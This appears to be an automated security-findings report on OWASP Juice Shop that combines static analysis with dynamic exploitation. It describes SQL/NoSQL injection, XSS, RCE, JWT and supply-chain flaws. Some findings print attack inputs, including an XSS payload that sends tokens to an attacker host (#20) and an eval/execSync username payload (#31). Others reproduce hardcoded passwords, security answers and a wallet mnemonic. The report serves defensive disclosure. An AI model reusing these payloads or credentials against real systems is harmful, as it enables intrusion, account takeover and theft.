Ranked by confidence first and severity second: a confirmed medium is more actionable than an unverified critical.
#1criticalConfirmedstatic + liveCWE-532: Insertion of Sensitive Information into Log File server.ts:280
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-532 in server.ts). Static + dynamic agreement — highest confidence.
2 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The externally reachable password-change endpoint is registered as a GET route at server.ts:597, so its current, new, and repeat parameters are carried in the request URL. Morgan's combined format at server.ts:338 writes that URL, including its query string, to rotating access logs. The unauthenticated /support/logs directory listing and file-serving routes are registered at server.ts:281-283 before any JWT or authorization middleware at server.ts:353, allowing arbitrary visitors to enumerate and download those logs. verify.accessControlChallenges() is challenge-tracking middleware and is not an authentication or authorization control; it also executes after the directory-listing handler. An anonymous attacker can download recent access logs containing the full query string of pa…
cwe CWE-532at server.ts:280scenario dast-revalidationmatched on cwe+filereported as medium
#2criticalConfirmedstatic + liveCWE-307 server.ts:340
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-307 in server.ts). Static + dynamic agreement — highest confidence.
Requests to POST /rest/user/reset-password enter the limiter at line 343. The application globally trusts every proxy at line 342, so Express derives req.ip from the attacker-supplied X-Forwarded-For header. The custom key generator at line 346 performs no address validation; additionally, Node normalizes header names to lowercase, making headers['X-Forwarded-For'] normally undefined and causing the function to use the equally attacker-controlled req.ip. Varying the forwarded address therefore creates a fresh rate-limit bucket for every group of requests. An anonymous attacker can bypass the password-reset rate limit and make effectively unlimited reset attempts. This enables high-speed guessing of a target user's reset answer and can result in account takeover. The attacker submits more than 100 reset attempts for victim@example.com, changing X-Forwarded-For from 198.51.100.1 to 198.51.…
cwe CWE-307at server.ts:340scenario dast-revalidationmatched on cwe+file
#3criticalConfirmedstatic + liveCWE-521 frontend/src/app/oauth/oauth.component.ts:27
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-521 in frontend/src/app/oauth/oauth.component.ts). Static + dynamic agreement — highest confidence.
After obtaining a Google profile, OAuthComponent deterministically derives a password solely from profile.email and registers or logs in the local account with it at lines 30-31 and 46. The transformation contains no deployment secret or per-user randomness, and the server does not distinguish the resulting password login from a Google-authenticated login. The known derived credential for bjoern.kimminich@gmail.com is also explicitly compared in routes/login.ts:64, confirming that the predictable value is accepted by the production login path. An anonymous attacker who knows an OAuth user's email can calculate that user's local password and bypass Google authentication. This results in direct account takeover through the ordinary password-login endpoint. For bjoern.kimminich@gmail.com, an attacker submits {"email":"bjoern.kimminich@gmail.com","password":"[REDACTED-SECRET]"} directly to /…
cwe CWE-521at frontend/src/app/oauth/oauth.component.ts:27scenario dast-revalidationmatched on cwe+filereported as medium
#4criticalConfirmedstatic + liveCWE-321 data/static/users.yml:259
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-321 in data/static/users.yml). Static + dynamic agreement — highest confidence.
The ethereum user's seeded feedback embeds a complete twelve-word wallet recovery mnemonic in plaintext. A recovery mnemonic is equivalent to the wallet's private-key material, so placing it in application data exposes control of the wallet rather than merely revealing a public address. The accompanying NFT takeover challenge confirms that this phrase is intended to correspond to a deployed wallet containing the application's official token. Anyone who reads the seeded feedback or repository can import the disclosed mnemonic and take control of the associated blockchain wallet. The compromise affects the wallet and any assets or identity credentials it controls, including the application's official NFT. An attacker copies purpose betray marriage blame crunch monitor spin slide donate sport lift clutch from the feedback and imports it into an Ethereum-compatible wallet. The derived privat…
cwe CWE-321at data/static/users.yml:259scenario dast-revalidationmatched on cwe+file
#5criticalConfirmedstatic + liveCWE-798: Use of Hard-coded Credentials data/static/users.yml:167
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-798 in data/static/users.yml). Static + dynamic agreement — highest confidence.
The production seed data commits both the bjoern account's plaintext password and its admin role. When server.ts::POST /rest/user/login authenticates against the seeded users, no additional secret remains for an attacker to discover, and the role assigned at lines 171-172 makes the resulting session privileged. The password is not a placeholder or redacted value and there is no indication in this record that deployments must replace it. An anonymous attacker who knows the repository contents can authenticate as a seeded administrator. This grants administrative access affecting the entire Juice Shop instance, including privileged data and management functionality. Against a default deployment, an anonymous attacker sends POST /rest/user/login with {"email":"bjoern@juice-sh.op","password":"monkey summer birthday are all bad passwords but work just fine in a long passphrase"}. The applicat…
cwe CWE-798at data/static/users.yml:167scenario dast-revalidationmatched on cwe+file
#6criticalConfirmedstatic + liveCWE-798: Use of Hard-coded Credentials config/7ms.yml:143
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-798 in config/7ms.yml). Static + dynamic agreement — highest confidence.
The production-style configuration embeds security-question identifiers alongside their plaintext answers: question 14 uses "Daniel Boone National Forest" and question 10 uses "ITsec". These values are authentication knowledge rather than hashes or non-sensitive display metadata, and committing them makes them available to every repository reader before they interact with the deployed application. There is no secrecy boundary, per-deployment replacement, or reference to an external secret store in this configuration. Anyone with access to the public repository can learn two exact security-question answers used by the configured application. After identifying the associated accounts, an attacker can use the answers in the password-recovery workflow to take over those individual accounts. An unauthenticated attacker reads config/7ms.yml and records that security question 14 has the answer …
cwe CWE-798at config/7ms.yml:143scenario dast-revalidationmatched on cwe+filereported as medium
#7criticalConfirmedstatic + liveCWE-640: Weak Password Recovery Mechanism for Forgotten Password routes/resetPassword.ts:18
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-640 in routes/resetPassword.ts). Static + dynamic agreement — highest confidence.
The password-reset handler accepts attacker-controlled email, answer, and replacement-password values from the request body at lines 18-21. It finds the user by email and treats equality between the submitted answer's HMAC and the stored answer as sufficient authorization before updating the password at lines 35-44. However, lines 58-63 publish the exact plaintext security answers associated with six named users; these checks run after a successful reset and therefore document the values intended to satisfy the preceding authentication check. There is no additional possession factor, authenticated session, one-time token, or other identity verification between the public answer and the password update. An anonymous attacker can reset the passwords of seeded users whose security answers are embedded in the public source code, taking over those accounts. The affected accounts include Jim, …
cwe CWE-640at routes/resetPassword.ts:18scenario dast-revalidationmatched on cwe+file
#8criticalConfirmedstatic + liveCWE-798: Use of Hard-coded Credentials routes/login.ts:59
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-798 in routes/login.ts). Static + dynamic agreement — highest confidence.
The login handler contains literal email-and-password pairs for seven application accounts. These comparisons execute for every unauthenticated login request, demonstrating that the constants are expected login credentials rather than non-security test values; they include the administrator password "admin123" and a support account password. There is no deployment-time secret injection or forced credential rotation in this code before the same request is processed by the authentication query. Anyone with access to the distributed source can recover plaintext passwords for multiple predefined accounts, including the administrator and support identities. On deployments retaining those seeded credentials, an anonymous attacker can obtain authenticated access without guessing or cryptanalysis. An attacker reads routes/login.ts and submits {"email":"admin@<configured-domain>","password":"[RED…
cwe CWE-798at routes/login.ts:59scenario dast-revalidationmatched on cwe+file
#9highConfirmedstatic + liveCWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) routes/search.ts:21
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-89 in routes/search.ts). Static + dynamic agreement — highest confidence.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The public GET route registered at server.ts:602 invokes searchProducts without authentication. The handler reads the attacker-controlled q query parameter at routes/search.ts:21, truncates it to 200 characters without escaping or structural validation at line 22, and interpolates it directly into a raw SQL statement at line 23. The length limit does not prevent SQL syntax from closing the LIKE expression and adding a UNION query. Sequelize executes the resulting attacker-authored SQL, and lines 64-68 serialize the returned rows into the HTTP response; the challenge-verification logic at lines 25-63 also explicitly confirms that injected results can contain all users' emails and passwords. An anonymous attacker can extract every user's email and password hash through the product-…
cwe CWE-89at routes/search.ts:21scenario dast-revalidationmatched on cwe+file
#10highConfirmedstatic + liveCWE-943 routes/trackOrder.ts:15
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-943 in routes/trackOrder.ts). Static + dynamic agreement — highest confidence.
The unauthenticated GET route registered in server.ts passes the attacker-controlled :id path parameter to trackOrder. When the reflected-XSS challenge is enabled, line 15 merely truncates the value to 60 characters and does not escape quotes or JavaScript operators. Line 18 interpolates that value into a MongoDB-style $where JavaScript expression, allowing the attacker to alter the predicate; no route-specific authorization or validation occurs before this sink. An anonymous attacker can retrieve every order record instead of a single order. This exposes order information across the whole service to anyone who can reach the endpoint. An anonymous attacker requests /rest/track-order/x%27%20%7C%7C%20true%20%7C%7C%20%27. The decoded ID is x' || true || ', producing the predicate this.orderId === 'x' || true || ''. The predicate is true for every document, so the response contains all order…
cwe CWE-943at routes/trackOrder.ts:15scenario dast-revalidationmatched on cwe+file
#11highConfirmedstatic + liveCWE-943 routes/showProductReviews.ts:31
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-943 in routes/showProductReviews.ts). Static + dynamic agreement — highest confidence.
The unauthenticated GET route registered at server.ts:632 places the attacker-controlled :id path parameter in req.params.id. When the noSqlCommandChallenge is enabled, line 31 only truncates that value to 40 characters; truncation does not neutralize JavaScript operators or function calls. Line 36 concatenates the resulting string directly into a $where JavaScript expression evaluated by the reviews collection. The global sleep function defined at lines 17-26 is therefore callable from the injected expression and performs a blocking busy loop on the application's single event loop. An anonymous attacker can inject JavaScript into the Mongo-style $where expression. The supplied sleep function executes synchronously, allowing each malicious request to block the Node.js event loop for two seconds and disrupt the entire service. An anonymous attacker requests GET /rest/products/0%7C%7Csleep…
cwe CWE-943at routes/showProductReviews.ts:31scenario dast-revalidationmatched on cwe+file
#12highConfirmedstatic + liveCWE-916 models/user.ts:73
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-916 in models/user.ts). Static + dynamic agreement — highest confidence.
Externally supplied registration passwords reach the User password setter at models/user.ts:75-76. That setter calls security.hash(), which is a single unsalted MD5 digest at lib/insecurity.ts:41; there is no per-user salt, work factor, or memory-hard derivation. Equal passwords therefore produce equal hashes, and each guess requires only one inexpensive MD5 operation. An attacker who obtains the user table can rapidly recover weak and reused passwords using commodity cracking tools and precomputed tables. Recovered credentials compromise Juice Shop accounts and may also expose users on other services where passwords were reused. After obtaining a Users-table export, an attacker runs a standard MD5 wordlist attack against the password column. A common password such as admin123 resolves immediately to its clear text. The attacker then submits that email and password to /rest/user/login an…
cwe CWE-916at models/user.ts:73scenario dast-revalidationmatched on cwe+filereported as medium
#13highConfirmedstatic + liveCWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) models/product.ts:42
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-79 in models/product.ts). Static + dynamic agreement — highest confidence.
Finale exposes /api/Products/:id at server.ts:503, while the intended PUT authorization is commented out at server.ts:370. A request body's description therefore reaches the Product description setter without authentication. When restfulXssChallenge is enabled, lines 45-52 deliberately skip sanitizeSecure for every description—not only the challenge marker—and line 55 stores the raw attacker value. The generated Product API later returns this persisted description to catalog clients without output encoding in this slice. An anonymous attacker can persist active HTML in a product description that executes for shoppers viewing the affected product. Same-origin script execution can read browser-accessible authentication tokens, perform authenticated actions, and compromise multiple customer accounts. An anonymous attacker sends PUT /api/Products/1 with body {"description":"<iframe src=\"jav…
cwe CWE-79at models/product.ts:42scenario dast-revalidationmatched on cwe+file
#14highConfirmedstatic + liveCWE-200: Exposure of Sensitive Information to an Unauthorized Actor routes/memory.ts:22
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-200 in routes/memory.ts). Static + dynamic agreement — highest confidence.
The unauthenticated GET /rest/memories endpoint is registered at server.ts:630. getMemories() calls MemoryModel.findAll({ include: [UserModel] }) without restricting the included user's attributes, so Sequelize includes the User model's default attribute set and res.json serializes it into the public response. The generated User API explicitly excludes password and totpSecret at server.ts:484, but no equivalent exclusion is applied to this association. An anonymous caller can retrieve the complete associated User record for every account represented on the photo wall, rather than only the username required by the UI. This can expose password hashes, TOTP secrets, email addresses, roles, and other account metadata, enabling offline password attacks and weakening multi-factor authentication. An attacker sends GET /rest/memories without a token. For each memory belonging to a user, the retu…
cwe CWE-200at routes/memory.ts:22scenario dast-revalidationmatched on cwe+file
#15highConfirmedstatic + liveCWE-307 routes/2fa.ts:16
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-307 in routes/2fa.ts). Static + dynamic agreement — highest confidence.
The HTTP handler accepts an attacker-supplied temporary token and TOTP value from req.body at line 17. It verifies that the temporary token represents a password-authenticated user, then checks the supplied TOTP at line 31, but it neither consumes the temporary token nor tracks failed attempts, locks the flow, or applies any handler-level throttling before returning another retryable 401 response. Consequently, a temporary token obtained through the normal password-valid login flow can be reused across repeated requests while the attacker enumerates the small TOTP keyspace. The 30-second tolerance further permits adjacent valid time windows, increasing the chance that an enumerated value is accepted. An attacker who knows a user's password can brute-force the user's six-digit TOTP and obtain a fully authenticated session. This bypasses 2FA for the targeted account and exposes all data an…
cwe CWE-307at routes/2fa.ts:16scenario dast-revalidationmatched on cwe+filereported as medium
#16highConfirmedstatic + liveCWE-200: Exposure of Sensitive Information to an Unauthorized Actor lib/challengeUtils.ts:52
Confirmed: the red-team run exploited this (dast-revalidation) and static analysis independently flagged it (CWE-200 in lib/challengeUtils.ts). Static + dynamic agreement — highest confidence.
The server derives the security-sensitive flag from the solved challenge name at line 52 and places it directly in the notification object at line 66. Although the object contains a hidden property, that property is only metadata and does not remove or redact the flag. Line 75 broadcasts the complete notification with io.emit, which sends it to every connected client rather than only the user or team that solved the challenge; the trusted-context entry point registerWebsocketEvents.ts::io.on('connection') permits external clients to establish such connections. No authentication, recipient scoping, or server-side flag redaction occurs between flag generation and broadcast. Any anonymous Socket.IO client receives the CTF flag when another user solves a challenge. This lets passive observers capture challenge flags and illegitimately claim solutions or manipulate external CTF scoring. An at…
cwe CWE-200at lib/challengeUtils.ts:52scenario dast-revalidationmatched on cwe+filereported as medium
#17criticalObserved livelive runSpoofable X-Forwarded-For header bypasses password-reset rate limit (account-takeover enabler)
Found only by the red-team run; the source scan raised no matching lead. A gap in static analysis worth confirming.
#18criticalObserved livelive runUnauthenticated public access logs contain change-password URLs with cleartext current/new passwords
Found only by the red-team run; the source scan raised no matching lead. A gap in static analysis worth confirming.
#19criticalProbed, no verdictstatic + liveZIP upload permits arbitrary application file overwrite [CVSS 9.6: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L]
The red-team run probed this static lead (CWE-22) in routes/fileUpload.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The unauthenticated /file-upload endpoint in server.ts:309 accepts a multipart ZIP into memory and passes it to handleZipFileUpload. For every archive entry, extractZipBuffer incorporates the attacker-controlled entry.path into uploads/complaints/, but its containment check only verifies that the resolved destination contains the process working directory. A path such as ../../frontend/dist/frontend/index.html escapes the intended complaints directory while still resolving beneath the working directory, so the check succeeds. The original traversal-containing path is then passed to fs.createWriteStream, which resolves the traversal and overwrites the target. This path is active whenever fileWriteChallenge is enabled, and neither checkFileType nor Multer sanitizes archive entry names. An anonymous attacker can overwrite files beneath the application directory, including the deployed front…
cwe CWE-22at routes/fileUpload.ts:27scenario dast-revalidationmatched on cwe+file
#20criticalProbed, no verdictstatic + liveSearch query causes DOM-based XSS [CVSS 9.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N]
The red-team run probed this static lead (CWE-79) in frontend/src/app/search-result/search-result.component.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The attacker-controlled q parameter is read directly from ActivatedRoute at line 136. Trimming and lowercasing do not encode or validate HTML, and line 143 explicitly marks the value trusted with bypassSecurityTrustHtml. The resulting SafeHtml value is assigned to an [innerHTML] binding at frontend/src/app/search-result/search-result.component.html:11, disabling Angular's normal HTML sanitization. No CSP or other control in the supplied server configuration prevents inline event-handler execution. An attacker can execute arbitrary JavaScript in the application's origin when a victim follows a crafted search link. The script can read the authentication token stored in localStorage, act as the victim through same-origin APIs, and compromise the victim's account. The attacker sends a logged-in victim a link whose q parameter decodes to <img src=x onerror="new Image().src='https://attacker.e…
cwe CWE-79at frontend/src/app/search-result/search-result.component.ts:135scenario dast-revalidationmatched on cwe+file
#21criticalProbed, no verdictstatic + liveMutable base images enter production builds [CVSS 9.0: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H]
The red-team run probed this static lead (CWE-829) in Dockerfile but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
Both Docker stages use mutable tags rather than immutable image digests: node:24 for the installer and gcr.io/distroless/nodejs24-debian13 for runtime. Release and branch workflows build this Dockerfile and push the result to the official Docker Hub repository without verifying an expected base-image digest or provenance. Malicious code in the installer stage can modify files under /juice-shop, which are copied wholesale at line 38, while a malicious runtime base directly controls the Node executable used by CMD. An attacker who compromises either upstream image tag can execute code during the official build or inside every resulting production container. This can backdoor the application, steal runtime data, and affect all users who deploy the published image. An attacker with control of either upstream registry tag replaces its manifest with a malicious image before the next Juice Shop…
cwe CWE-829at Dockerfile:1scenario dast-revalidationmatched on cwe
#22criticalProbed, no verdictstatic + liveHardcoded JWT private key enables token forgery [CVSS 9.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N]
The red-team run probed this static lead (CWE-321) in lib/insecurity.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The RS256 signing private key is embedded as a source-code constant at lib/insecurity.ts:21 and is used by authorize() at line 54. Authorization middleware validates tokens against the corresponding public key, so possession of the committed private key is sufficient to create cryptographically valid attacker-chosen claims. Key confidentiality cannot be restored by hiding the public key or by relying on the authenticatedUsers map because updateAuthenticatedUsers() accepts valid externally supplied tokens and populates that map. Anyone with access to the repository can mint JWTs accepted by every deployment using this key. An anonymous attacker can impersonate users or assign themselves privileged roles such as accounting or administrator, compromising service-wide authorization. An attacker copies the committed private key and signs an RS256 JWT containing a data object with an existing …
cwe CWE-321at lib/insecurity.ts:20scenario dast-revalidationmatched on cwe+file
#23criticalProbed, no verdictstatic + liveRelease tag enables cross-repository command injection [CVSS 9.9: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H]
The red-team run probed this static lead (CWE-78) in .github/workflows/update-news-www.yml but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The release event supplies github.event.release.tag_name, which is interpolated directly inside a single-quoted sed command. Git tag names may contain shell metacharacters including single quotes, dollar signs, and parentheses, and the workflow performs no validation or shell-safe encoding. A malicious tag can close the quoted segment and introduce command substitution, which Bash executes before sed. The preceding checkout uses BOT_TOKEN for juice-shop/juice-shop.github.io and persists its credentials, and the following auto-commit step commits attacker-created or modified files to that repository. A maintainer who can publish a release can execute arbitrary shell commands in a workflow authenticated to the juice-shop.github.io repository. This crosses a repository trust boundary and permits unauthorized website content to be committed using the bot credential. An attacker with release-…
cwe CWE-78at .github/workflows/update-news-www.yml:18scenario dast-revalidationmatched on cwe+file
#24criticalProbed, no verdictstatic + liveTracking ID enables reflected cross-site scripting [CVSS 9.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N]
The red-team run probed this static lead (CWE-79) in frontend/src/app/track-result/track-result.component.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The component reads the attacker-controlled id query parameter at line 45 and sends it to the order-tracking service at line 46. The resulting tracking record's orderId is interpolated into an HTML string and explicitly marked trusted with DomSanitizer.bypassSecurityTrustHtml() at line 48, disabling Angular's normal HTML sanitization. The resulting SafeHtml value is then rendered through [innerHtml] in track-result.component.html:9, so active markup contained in the reflected order identifier is inserted into the DOM. An attacker can execute JavaScript in the Juice Shop origin when a victim opens a crafted order-tracking link. The script can read browser-accessible authentication data, including the token stored in localStorage, and act as the victim. An anonymous attacker sends a victim a tracking URL whose id is <iframe src="javascript:alert(document.domain)"></iframe>. When the tracki…
cwe CWE-79at frontend/src/app/track-result/track-result.component.ts:45scenario dast-revalidationmatched on cwe+file
#25criticalProbed, no verdictstatic + liveBuild argument injects arbitrary npm packages [CVSS 9.9: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H]
The red-team run probed this static lead (CWE-88) in Dockerfile but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The externally configurable Docker ARG CYCLONEDX_NPM_VERSION is accepted at Dockerfile:18 without validation. At Dockerfile:19 it is expanded unquoted in a shell-form RUN instruction, so shell word splitting turns whitespace in the value into additional arguments to npm install. Although the value is intended to be a version range appended to @cyclonedx/cyclonedx-npm@, an attacker able to provide CI build parameters can append another npm package specification. npm then installs that package and executes its lifecycle scripts in the installer stage, where the build runs as root and the complete /juice-shop tree is available; that tree is subsequently copied into the final image at Dockerfile:38. A CI user who can override Docker build arguments can execute an attacker-controlled npm package's lifecycle scripts inside the installer stage. The script runs during image construction and can …
cwe CWE-88at Dockerfile:18scenario dast-revalidationmatched on cwe
#26highProbed, no verdictstatic + liveAnonymous XML upload discloses local files [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
The red-team run probed this static lead (CWE-611) in server.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
4 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The /file-upload route at server.ts:309 is registered before the authentication middleware at server.ts:353 and accepts up to 200 KB of attacker-controlled file data in memory. The intervening upload checks only require that a file exists and record challenge state; checkFileType does not reject any type. A filename ending in .xml reaches handleXmlUpload, which converts the attacker-controlled buffer to text and passes it to parseXmlString at routes/fileUpload.ts:76 while the deprecated-interface challenge is enabled. Resolved entity content is placed in xmlString and embedded, up to 400 characters, in an error passed to the response error handler, providing a direct file-disclosure channel. An anonymous attacker can make the server's XML parser read local files and return their …
cwe CWE-611at server.ts:307scenario dast-revalidationmatched on cwe+file
#27highProbed, no verdictstatic + liveProfile image URL enables SSRF [CVSS 7.7: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
The red-team run probed this static lead (CWE-918) in server.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
3 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The externally reachable POST /profile/image/url route is registered at server.ts:311 without URL-validation middleware. Multer parses the attacker's multipart imageUrl field, which profileImageUrlUpload reads at routes/profileImageUrlUpload.ts:18-19 and passes directly to fetch at line 24. The handler imposes no scheme or hostname allowlist, performs no DNS/IP classification, and uses fetch's redirect handling without revalidating redirect destinations. It then streams the response to a predictable file under the statically served frontend directory at lines 29-30. Although the handler requires a valid token from req.cookies.token, that only restricts exploitation to an authenticated user and does not constrain the network destination. Any authenticated user can make the server …
cwe CWE-918at server.ts:307scenario dast-revalidationmatched on cwe+file
#28highProbed, no verdictstatic + liveUnbounded upload can exhaust server disk [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H]
The red-team run probed this static lead (CWE-400) in server.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The externally reachable POST /rest/memories route passes the request to uploadToDisk.single('image') before any user-ID or downstream application handling. Unlike uploadToMemory, the uploadToDisk Multer instance has no limits.fileSize or other request-size limit. Its destination callback trusts the multipart MIME declaration to accept image types and then streams all supplied bytes to disk; MIME validation does not inspect content and does not bound its size. Because Multer finishes writing before security.appendUserId() executes, downstream authentication or validation cannot prevent the disk consumption. An anonymous remote client can stream an arbitrarily large upload onto the application server's disk. Filling that disk can prevent uploads, logging, database operation, or the entire service and colocated applications from functioning. An unauthenticated attacker sends POST /rest/mem…
cwe CWE-400at server.ts:698scenario dast-revalidationmatched on cwe+file
#29highProbed, no verdictstatic + liveBackslashes bypass quarantine path validation [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
The red-team run probed this static lead (CWE-22) in routes/quarantineServer.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The unauthenticated /ftp/quarantine/:file route registered in configureApp passes the decoded route parameter to serveQuarantineFiles. The handler rejects only forward slashes, but Windows treats backslashes as path separators. A parameter containing ..\ therefore passes the check and is normalized by path.resolve outside ftp/quarantine before being supplied to res.sendFile. An anonymous attacker can read files outside the quarantine directory when the service runs on Windows. This can expose application configuration, credentials, source files, or other files readable by the service account. On a Windows deployment, the attacker requests GET /ftp/quarantine/..%5C..%5Cconfig%5Cdefault.yml. Express decodes %5C into backslashes, the forward-slash check passes, and path.resolve resolves the path to the application's config/default.yml. The server returns that file without authentication. - …
cwe CWE-22at routes/quarantineServer.ts:10scenario dast-revalidationmatched on cwe+file
#30highProbed, no verdictstatic + liveOrder data enables remote code execution [CVSS 8.8: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H]
The red-team run probed this static lead (CWE-94) in routes/b2bOrder.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
Attacker-controlled body.orderLinesData enters the handler at line 19 without validation or an allow-list. The code places both this string and the host-realm notevil evaluator into a VM context, then invokes safeEval(orderLinesData) at line 23. The outer node:vm context is not a security boundary because the vulnerable evaluator receives attacker-controlled JavaScript and exposes object constructor chains that can recover a host-realm Function, obtain process, and load child_process; the two-second timeout only limits execution time and does not prevent a command from executing. This path is reached through the B2B order route registered by the externally reachable Express application whenever either RCE challenge is enabled. A remote caller can execute arbitrary operating-system commands with the Node.js service account's privileges. This compromises the underlying host and can expose …
cwe CWE-94at routes/b2bOrder.ts:19scenario dast-revalidationmatched on cwe+file
#31highProbed, no verdictstatic + liveStored username enables server-side code execution [CVSS 8.8: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H]
The red-team run probed this static lead (CWE-95) in routes/userProfile.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The anonymous POST /api/Users registration entry point accepts request-body fields and is subsequently handled by the generated finale User resource without runtime validation of username. After the attacker logs in, GET /profile retrieves that persisted username at routes/userProfile.ts:52. When the username matches the #{...} pattern and the username XSS challenge is enabled, the contents between the braces are passed directly to eval at line 61; neither the preceding regular expression nor the null check restricts the code being executed. Any user who can register and log in can execute arbitrary JavaScript in the Node.js server process. This compromises the underlying host and all application data accessible to that process. An attacker registers with username #{require('child_process').execSync('touch /tmp/juice-pwned')} through POST /api/Users. The attacker logs in, retains the iss…
cwe CWE-95at routes/userProfile.ts:54scenario dast-revalidationmatched on cwe+file
#32highProbed, no verdictstatic + liveRemote installer executes without integrity verification [CVSS 7.5: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N]
The red-team run probed this static lead (CWE-494) in .github/workflows/ci.yml but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
On pushes to protected deployment branches, the heroku job downloads https://cli-assets.heroku.com/install.sh and pipes the response directly to a shell. HTTPS authenticates the current server but the workflow neither pins an immutable artifact version nor verifies a checksum or signature before execution. The downloaded code therefore becomes executable supply-chain input and runs before the secret-bearing Heroku deployment action at lines 368-374, violating supply-chain integrity. Compromise of the Heroku installer origin or its served script gives an attacker arbitrary command execution in a production deployment job. The attacker can tamper with the checked-out application or runner state before the subsequent Heroku deployment, allowing malicious code to be deployed to the production or staging service. An attacker who compromises the Heroku installer distribution serves a script th…
cwe CWE-494at .github/workflows/ci.yml:357scenario dast-revalidationmatched on cwe+file
#33highProbed, no verdictstatic + liveRemote SVG upload enables stored XSS [CVSS 8.7: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N]
The red-team run probed this static lead (CWE-79) in server.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The file-upload route uses profileImageFileUpload, which performs runtime content inspection, but the adjacent URL-upload route at server.ts:311 has no equivalent validation. profileImageUrlUpload accepts an attacker-controlled imageUrl, fetches its arbitrary response, and derives the output extension only from the URL string. Because svg is explicitly accepted at routes/profileImageUrlUpload.ts:28, an attacker can make a URL ending in .svg return active SVG markup, which is written unchanged into frontend/dist/frontend/assets/public/images/uploads at line 29. server.ts:288 exposes that directory through express.static, and the configured Helmet middleware does not establish a CSP that would neutralize script in a directly navigated same-origin SVG. An authenticated attacker can cause attacker-authored SVG content to be hosted under the application's own origin. A victim who opens the up…
cwe CWE-79at server.ts:310scenario dast-revalidationmatched on cwe+file
#34highProbed, no verdictstatic + liveLockless installs execute mutable dependency code [CVSS 8.3: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H]
The red-team run probed this static lead (CWE-829) in .npmrc but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The repository explicitly disables package-lock generation in .npmrc. Production release jobs run npm install --production, and Docker builds run npm install --omit=dev; both resolve the caret ranges in package.json from the public registry on every build and execute dependency lifecycle scripts. The root install also invokes package.json's postinstall, which performs another unpinned npm install in the frontend. No lockfile, integrity allow-list, --ignore-scripts, or equivalent control fixes the dependency graph before release artifacts and images are generated. A compromised dependency publisher can execute code on release runners and alter the archives attached to official releases. The same dependency can modify application files during Docker builds, placing a backdoor in im…
cwe CWE-829at .npmrc:1scenario dast-revalidationmatched on cwe
#35highProbed, no verdictstatic + liveJWT verification trusts attacker-selected algorithm [CVSS 8.2: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N]
The red-team run probed this static lead (CWE-347) in lib/insecurity.ts but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
